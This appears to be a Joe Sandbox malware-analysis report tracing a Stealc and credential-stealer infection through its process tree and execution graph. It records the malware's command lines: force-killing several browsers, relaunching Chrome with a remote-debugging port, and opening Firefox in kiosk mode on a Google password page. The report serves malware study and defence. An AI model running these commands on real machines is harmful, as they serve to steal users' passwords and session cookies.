Path:	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Imagebase:	0x5a0000
File size:	1'900'544 bytes
MD5 hash:	2DF47222A49EAB61FD1ED5F6F983ED1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:12:34
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"
Imagebase:	0xa50000
File size:	2'869'248 bytes
MD5 hash:	323113BC721571D0455A110DD78830C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.2663325624.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2986000648.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	05:12:35
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Imagebase:	0x5a0000
File size:	1'900'544 bytes
MD5 hash:	2DF47222A49EAB61FD1ED5F6F983ED1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2803095307.0000000001693000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2817325747.0000000001694000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2776055082.0000000001693000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:12:41
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"
Imagebase:	0xa80000
File size:	973'824 bytes
MD5 hash:	7E5C2110A07FCC79B87D39DE76DF15D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:12:42
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:12:42
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:12:44
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"
Imagebase:	0x5a0000
File size:	1'900'544 bytes
MD5 hash:	2DF47222A49EAB61FD1ED5F6F983ED1C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.2998393956.0000000001452000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	05:12:44
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:12:44
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:12:45
Start date:	20/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:12:45
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:12:45
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:12:45
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:12:45
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:12:46
Start date:	20/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x580000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:12:46
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:12:46
Start date:	20/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:12:46
Start date:	20/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:12:46
Start date:	20/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	05:12:47
Start date:	20/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb32781-5a30-4b8e-a269-1f34095213b3} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c127970b10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	05:12:50
Start date:	20/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4276 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 4264 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d88d8b3-9e28-4053-b6d4-c8b5baf31d41} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c139a53810 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	05:12:51
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe"
Imagebase:	0x910000
File size:	2'849'792 bytes
MD5 hash:	4D64B08FFD5993C585D881FA55708E10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	05:12:52
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"
Imagebase:	0xa50000
File size:	2'869'248 bytes
MD5 hash:	323113BC721571D0455A110DD78830C0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2984159322.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2859507877.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:12:58
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"
Imagebase:	0xef0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:12:59
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:13:01
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"
Imagebase:	0xa80000
File size:	973'824 bytes
MD5 hash:	7E5C2110A07FCC79B87D39DE76DF15D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	05:13:03
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"
Imagebase:	0xef0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	742
Total number of Limit Nodes:	24

Executed Functions

Function 0066652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0066652A,?,?,?,?,?,00667661), ref: 00666567

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 913bf1a8f5c2e418b204ffe219a51a978e393bd4be2886e224944c46d85ceaaa
Instruction ID: 7ce219775876f0187edbe37adc2ff64e464899e832624348f29840188bc97d02
Opcode Fuzzy Hash: 913bf1a8f5c2e418b204ffe219a51a978e393bd4be2886e224944c46d85ceaaa
Instruction Fuzzy Hash: 1AE0C230041508AFDF357F1AD90AD983B6BEF52745F601804F8299A322CB35EE82DAD4

Function 04D20C13 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1751442165.0000000004D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4232419f5c55f5232204b280fe7454753a1691e11a1382d88fe2a8146d6bb776
Instruction ID: 19c585584b920ecb8b3470d4ab2df89a1d6c3eae917ef8fab40e5e992c6c2410
Opcode Fuzzy Hash: 4232419f5c55f5232204b280fe7454753a1691e11a1382d88fe2a8146d6bb776
Instruction Fuzzy Hash: 1721D6EB20E1207D7102C4427F24AFB576DD0E5735331C82BF987D6506E298AE8E3132

Function 00635C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00636098
0000043f, xrefs: 0063612B
Keyboard Layout\Preload, xrefs: 00636054
00000423, xrefs: 006360FA
00000422, xrefs: 006360C9

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: da72007fbbc9aee2783780580de1484946831de296fb0b97ab19408a0da0e732
Instruction ID: 949585bbd2d215e34493bda4347e5adee28846dff9666b071dde1d9d9d71951a
Opcode Fuzzy Hash: da72007fbbc9aee2783780580de1484946831de296fb0b97ab19408a0da0e732
Instruction Fuzzy Hash: 18F1D270A00258AFEB24DF54CC85BDEBBBAEF45304F5042A9F509A7281DB749E84CF94

Function 00639BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
